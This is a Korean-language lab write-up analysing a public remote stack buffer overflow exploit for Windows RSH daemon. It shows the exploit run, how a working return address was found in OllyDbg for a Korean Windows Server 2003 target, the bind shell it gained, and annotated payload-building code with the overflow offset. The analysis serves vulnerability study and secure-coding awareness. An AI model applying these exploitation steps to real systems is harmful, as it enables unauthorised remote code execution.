Windows RSH daemon <= 1.8 Remote Buffer Overflow Exploit 분석 ( http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.01.25 By Kancho ( www.securityproof.net ) milw0rm.com에 2008년 1월 21일에공개된 Windows RSH daemon의 Remote Buffer Overflow 취약점과그 exploit 코드를분석해보고자합니다. 테스트환경은다음과같습니다. - Host PC : Windows XP SP2 한국어 - App. : VMware Workstation ACE Edition 6.0.2 - Guest PC 공격호스트 : Fedora Core 3 한국어 대상호스트 : Windows Server 2003 Standard Edition SP0 5.2.3790 한국어 대상 App.: Windows RSH daemon 1.7 일단취약한 rshd란무엇인가간단히알아보겠습니다. rshd.sourceforge.net에서개발한 remote shell로써홈페이지에소개된 rshd의설명을잠시빌리자면,. - a multithreaded daemon service that listens for connections on port 514 (tcp port for the shell/cmd protocol), runs commands passed by clients and sends back the results. 입니다. 그럼이제공개된 exploit code 를기반으로직접테스트및분석을해보겠습니다. 먼저테스트환경을구축해야합니다. http://sourceforge.net/projects/rshd/ 에서 rshd를다운받아 Guest PC(Windows 2003) 에설치합니다. 설치를하면 rshd폴더에 bin에보시면 rshd.exe 실행파일을확인해보실수있습니다. 간단히명령어를살펴보면다음과같습니다. - rshd.exe r install 설치명령 -r 옵션을주면 %WINDOWS%\rhost 파일을참조하지않음. - rshd.exe d r 실행명령
-d 옵션은디버그메시지를출력하도록함. 여기서 -r 옵션을주지않으면 rhost파일을찾을수없다는에러가발생. - rshd.exe remove 제거명령 제대로설치, 실행이되면 tcp 514 포트가열려있음을확인할수있습니다. Active Connections Proto Local Address Foreign Address State TCP 0.0.0.0:514 0.0.0.0:0 LISTENING -d 옵션을줘서 rshd를실행시키면다음과같습니다. C:\...\Administrator>C:\rshd-bin-1.7\rshd-1.7\bin\rshd.exe -d -r [0].rhosts checking disabled! Debugging RSH Daemon. [0] Checking winsock.dll version... [0] Creating socket... [0] Binding socket... [0] Listening... [0] Ready for connections... [0] Accepting connection... 그다음 milw0rm.com에서받은 exploit 코드를 Fedora Core 3에옮긴뒤, 컴파일합니다. ***** [root@localhost prdelka-vs-ms-rshd]# make cd libtag && make static && cd.. make[1]: Entering directory `/root/desktop/prdelka-vs-ms-rshd/libtag' gcc -c libtag.c -o libtag.o ar rcs libtag.a libtag.o make[1]: Leaving directory `/root/desktop/prdelka-vs-ms-rshd/libtag' gcc -static prdelka-vs-ms-rshd.c -o prdelka-vs-ms-rshd -L./libtag -ltag 2>/dev/n ull strip prdelka-vs-ms-rshd *****
컴파일한뒤 target system에맞는인자로실행합니다. 지금은 target system의 OS와 rshd의설치여부를알고있지만, 원격에서이취약점을이용해 target system을 exploit하려면먼저 target system의 OS와 rshd의설치여부를알아야할것입니다. 이를위해 nmap을사용할수있는데잠시정리해보겠습니다. nmap을사용하면 target system의 OS와 rshd 설치여부를알수있습니다. - nmap은 http://nmap.org/download.html서다운로드가능 - nmap v A 192.168.135.146 - nmap을사용한결과 target system이 Windows Server 2003 3790버전임을알수있고 tcp 514 포트가열려있는것으로보아 rshd가실행중임을알수있습니다. Target system의 OS와 rshd의동작여부를확인했으므로 Fedora Core 3에서 exploit을시도할수있습니다. ***** [root@localhost prdelka-vs-ms-rshd]#./prdelka-vs-ms-rshd -s 192.168.135.146 -x 0 -t 3.---..---..--..---..-..-.,-..---. -' -< \ \ -. < `-' `-'`-'`-'-'`---'`----'`-'`-'`-^-' p r e s e n t z [ Windows RSH daemon 1.8 remote exploit
[ Using shellcode 'Win32 x86 bind() shellcode (4444/tcp default)' (317 bytes) [ Using target 'Windows 2003 Server 5.2.0.0 SP0 (x86)' [ Connected to 192.168.135.146 (514/tcp) [ Connecting to shell on 192.168.135.146 (4444/tcp) [ Cannot connect to foreign host. ***** Target system에서다음과같은디버깅메시지를확인해볼수있습니다. ***** C:\Documents and Settings\Administrator>C:\rshd-bin-1.7\rshd-1.7\bin\rshd.exe -d -r [0].rhosts checking disabled! Debugging RSH Daemon. [0] Checking winsock.dll version... [0] Creating socket... [0] Binding socket... [0] Listening... [0] Ready for connections... [0] Accepting connection... [1] Client connected! [1] Starting client thread... [1] Accepting connection... [1] Thread started... [1] Setting options on the main socket... [1] Processing client data... [1] Receiving... [1]...got 2048 chars. [1] Remote user name: x [1] Local user name: x [1] Command: ' 傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳 ( 중략 ) [1] Checking client... [1] Client port: 514... [1] Sending null byte result... [1] Executing ' 傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳傳 ( 중략 ) >C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\s1g4. 2>C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\s 1g4.1'... 파일이름, 디렉터리이름또는볼륨레이블구문이틀립니다.
[1] Sending results... *** [1] ERROR: Cannot open temporary file... [1] Winsock error: Error number = 2. *** [1] ERROR: Cannot open temporary file... [1] Winsock error: Error number = 2. ***** 결과에서 Cannot connect to foreign host. 라는메시지가나오면서 shell을얻을수없었습니다. 이는 exploit code에서제시한 target system의 version차이때문으로추측됩니다. Exploit code를보면각 target system별 return address가하드코딩되어있는것을볼수있는데이를 target system에꼭맞도록수정해야할것으로보입니다. 따라서현재테스트하는 target system인 Windows Server 2003 Standard Edition SP0 5.2.3790 한국어에맞는 return address를찾아보도록하겠습니다. 먼저원래 exploit code에들어있던하드코딩된주소가어디를가리키는지찾아볼필요가있습니다. 주소가 0x7XXXXXXX로시작하므로대략 DLL이로딩되어있는어딘가를가리킨다고추측해볼수있습니다. google에서 exploit code내에 Windows Server 2003 관련하드코딩된주소중하나인 0x71c03c4d를검색해본결과 push esp, ret 인명령의주소인사실을알수있었습니다. 따라서 target system에서 push esp, ret 이있는주소값을알아온다면해결할수있을것입니다. 이를위해먼저 ollydbg를이용하여 target system의해당 rshd.exe 프로세스를 attach합니다. Memory Map 보기를선택한뒤임의로 DLL의 text section을선택합니다. 여기서는 ws2_32.dll을택했습니다.
Disassemble된코드가있는창에서 Ctrl+F를누르면 command search가가능합니다. 이를이용하여여기에 push esp 를입력하면 push esp 가있는위치를보여줍니다. Ctrl+L 을눌러계속적인검색을통해 push esp 이후에 ret 이있는곳을찾을수있습니다. 위에서구한 0x71AB3C4D의값으로 Exploit 소스코드를고치고다시컴파일한뒤실행해보면 shell이뜨는것을확인해볼수있습니다. ***** [root@localhost prdelka-vs-ms-rshd]#./prdelka-vs-ms-rshd -s 192.168.135.146 -x 0 -t 3
--' --< > === -:_ -- PrEsEnTz [ Windows RSH daemon 1.8 remote exploit [ Using shellcode 'Win32 x86 bind() shellcode (4444/tcp default)' (317 bytes) [ Using target 'Windows 2003 Server 5.2.0.0 SP0 (x86)' [ Connected to 192.168.135.146 (514/tcp) [ Connecting to shell on 192.168.135.146 (4444/tcp) Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. dir C:\Documents and Settings\Administrator>dir C. : E49B-1DCF C:\Documents and Settings\Administrator 2008-01-23 08:33 <DIR>. 2008-01-23 08:33 <DIR>.. 2008-01-23 08:33 <DIR> Favorites 2008-01-23 08:33 <DIR> My Documents 2008-01-23 07:14 0 Sti_Trace.log 2008-01-24 03:15 <DIR> 2008-01-23 07:12 <DIR> 1 0 Ʈ 6 7,565,733,888 Ʈ cd.. C:\Documents and Settings\Administrator>cd.. ***** 하지만 dir 명령의결과가깨지는것을볼수있습니다. 이는 terminal의글자코딩이 UTF-8 로되어있어서그런것이므로이를바꾸어주면깨지지않고결과를확인할수있습니다. Target system이 Windows Server 2003 SP0 한글버전이므로 terminal의메뉴에서 terminal - 글자코딩 을선택하여 한국어 ( EUC-KR ) 로추가, 설정해주면됩니다.
dir C:\>dir C 드라이브의볼륨에는이름이없습니다. 볼륨일련번호 : E49B-1DCF C:\ 디렉터리 2008-01-23 오후 08:28 0 AUTOEXEC.BAT 2008-01-23 오후 08:28 0 CONFIG.SYS 2008-01-23 오후 08:33 <DIR> Documents and Settings 2008-01-24 오후 03:31 <DIR> odbg200c 2008-01-24 오전 11:59 <DIR> Program Files 2008-01-24 오전 11:51 <DIR> rshd-bin-1.7 2008-01-23 오후 08:47 <DIR> WINDOWS 2008-01-23 오후 08:28 <DIR> wmpub 2개파일 0 바이트 6개디렉터리 7,565,733,888 바이트남음 C:\> 지금까지는공개된 exploit 코드를약간수정하여제대로동작하는것을확인했습니다. 그러면이제는어디서취약점이생겼는지분석해보겠습니다. rshd는 sourceforge에서 open project로개발한것으로소스가공개되어있습니다. 따라서소스코드를분석해보면쉽게 stack overflow가발생하는지점을알수있습니다. ***** ( 중략 ) void runcommand (SOCKET rshclient, SOCKET rshclienterr, char* comm) { char buff[1024]; char tempout[128]; char temperr[128]; char* tempdir=getenv("temp"); ( 중략 )
if(shell4dosflag) sprintf(buff, "(%s)", comm); else strcpy(buff, comm); ( 중략 ) } ***** 위소스에서볼수있듯이인자로들어온 char* comm를 buff에 sprintf나 strcpy를이용해서복사하는것을알수있습니다. 이때 comm은사용자가 rshd에 remote에서보내는입력값으로 null 로끝날때까지전체를 buff에복사하므로 runcommand함수의 return address를덮어쓸수있다는것을알수있습니다. Runtime 시의 stack 을분석해보겠습니다. 좀더알아보기쉽게위의내용을다음과같이텍스트로보겠습니다. Address Hex dump Command Comments 00401560 /$ 81EC 00050000 SUB ESP,500 00401566. 55 PUSH EBP 00401567. 56 PUSH ESI 00401568. 57 PUSH EDI 00401569. 68 10E54000 PUSH OFFSET rshd.0040e510 ; /Arg1 = 40E510, ASCII "TEMP" 0040156E. E8 1A360000 CALL 00404B8D ; \rshd.00404b8d 00401573. 8BBC24 1C0500 MOV EDI,DWORD PTR SS:[ESP+51C] 0040157A. 8BE8 MOV EBP,EAX 이부분은 runcommand 함수의첫부분에 stack을할당하는부분입니다. 지역변수인 buff, tempout, temperr의크기만큼 esp를빼서할당하는것을볼수있습니다. 그럼같은지역변수인 tempdir는왜할당해주지않는지의문이들수있습니다. 이경우는 assembly를살펴보면 stack 에저장하지않고 ebp에그냥저장하는것을확인할수있습니다.
이역시좀더알아보기쉽게위의내용을다음과같이텍스트로보겠습니다. Address Value Comments 00A3EF50 [004020C0 ; RETURN from rshd.00401560 to rshd.004020c0 00A3EF54 /000007A0 00A3EF58 FFFFFFFF 00A3EF5C 00A3EFA9 00A3EF60 00000000 00A3EF64 000007A0 00A3EF68 00A3FFEC runcommand 함수가호출되었을때의 stack을보면 0x00A3EF50번지에 return address가저장되는것을알수있습니다. 하지만이함수가 return 할때의 stack을보면, 역시좀더알아보기쉽게위의내용을다음과같이텍스트로보겠습니다. Address Hex dump Command Comments 004018C2. 51 PUSH ECX ; /Arg1 004018C3. E8 18AF0000 CALL 0040C7E0 ; \rshd.0040c7e0 004018C8. 83C4 04 ADD ESP,4 004018CB > 5F POP EDI 004018CC. 5E POP ESI 004018CD. 5D POP EBP 004018CE. 81C4 00050000 ADD ESP,500 004018D4 \. C3 RETN
역시좀더알아보기쉽게위의내용을다음과같이텍스트로보겠습니다. Address Value Comments 00A3EF48 EEEEEEEE 00A3EF4C EEEEEEEE 00A3EF50 71AB3C4D 00A3EF54 4DEB6AFC 00A3EF58 FFFFF9E8 00A3EF5C 6C8B60FF 00A3EF60 458B2424 Exploit code에서 target system에서찾은 push esp, ret 명령어의주소인 0x71AB3C4D로덮어쓰 여져있음을알수있습니다. 해당주소로 return 하면 esp는 shellcode의시작주소인 0x00A3EF54를가리키게되고이를 push 하고 return하게되면 stack내에존재하는 shellcode로 control을얻을수있게됩니다. 간단히취약점이일어나는부분을확인해보았으므로공개된 exploit code를한번분석해보도록하겠습니다. 먼저 Exploit code에서는취약한 rshd가실행중인 system으로접속을시도합니다. 그리고접속이성공하면조작된데이터를전송합니다. 여기서주목해보아야할부분은바로취약점을이용해 shell을획득할수있는조작된데이터를만드는부분입니다. ( 생략 ) printf("[ Connected to %s (%d/tcp)\n",host,port); // 전송할데이터를저장할 buffer 할당 buffer = malloc( 2048 + strlen(payload) + sizeof(eip) ); // buffer를 0으로초기화 memset( buffer, 0, 2048 + strlen(payload) + sizeof(eip) );
// 앞의 5byte를채움. // 첫번째바이트는 stderr을위한추가포트사용여부를설정하는 flag값 // 두번째바이트부터는문자열로 remote username을나타냄 // remote username 다음의문자열은 local username을나타냄 // 이부분은 rshd에서정상적으로쓰이는부분으로보임 memcpy( buffer, "\x00\x78\x00\x78\x00", 5 ); // 이후부분은원래 command를전송하는부분인데 // 이부분을 dummy 값으로채움 memset( buffer+5, "x", 1028 ); // return address를덮어쓸부분을가리키는포인터설정. // rshd 소스를보면알수있듯이 buffer의크기가 1024이고바로밑에 return // address가저장된다. 위에서설정한 5bytes는실제 stack에복사되지않고, // 그이후부분부터복사되므로 5+1024 인부분이 return address를덮어쓸 // 위치가된다. buffer2 = (char*)( (int)buffer + 1029 ); // return address를덮어쓸값설정 memcpy( (void*)buffer2, (void*)&eip, sizeof(eip) ); // 뒤에 shellcode를복사해넣는다. buffer2 = (char*)( (int)buffer2 + sizeof(eip) ); memcpy( (void*)buffer2, (void*)payload, strlen(payload) ); // 조작된데이터전송 sc += send( sd, buffer, 2048, 0 ); ( 생략 ) 즉, Exploit code 에서 rshd 로보내는데이터를그림으로나타내보면다음과같습니다. remote username overflow 를위한 dummy 값 shellcode 0x00 0x78 0x00 0x78 0x000x78...0x78 0x71ABC3D4 0xfc6a... stderr 을위한추가 port 사용여부 local username return address 를덮어쓸주소값
이렇게조작된데이터가 rshd로전송이되면앞부분 (stderr의추가 port 사용여부 flag, remote username, local username) 은 rshd가사용을하고 overflow를위한 dummy 값부터 1024byte 크기의 buffer에 strcpy나 sprintf를이용해서복사를하게되므로 return address를덮어쓰고 shellcode를 stack에저장할수있습니다. 지금까지살펴보았듯이이취약점은가장기본적인 stack buffer overflow 때문에발생한것이라할수있습니다. 특히 strcpy, sprintf 와같은함수는사용을자제하고사용시에는 bound check 가꼭필요하다는것을다시금느낄수있었습니다.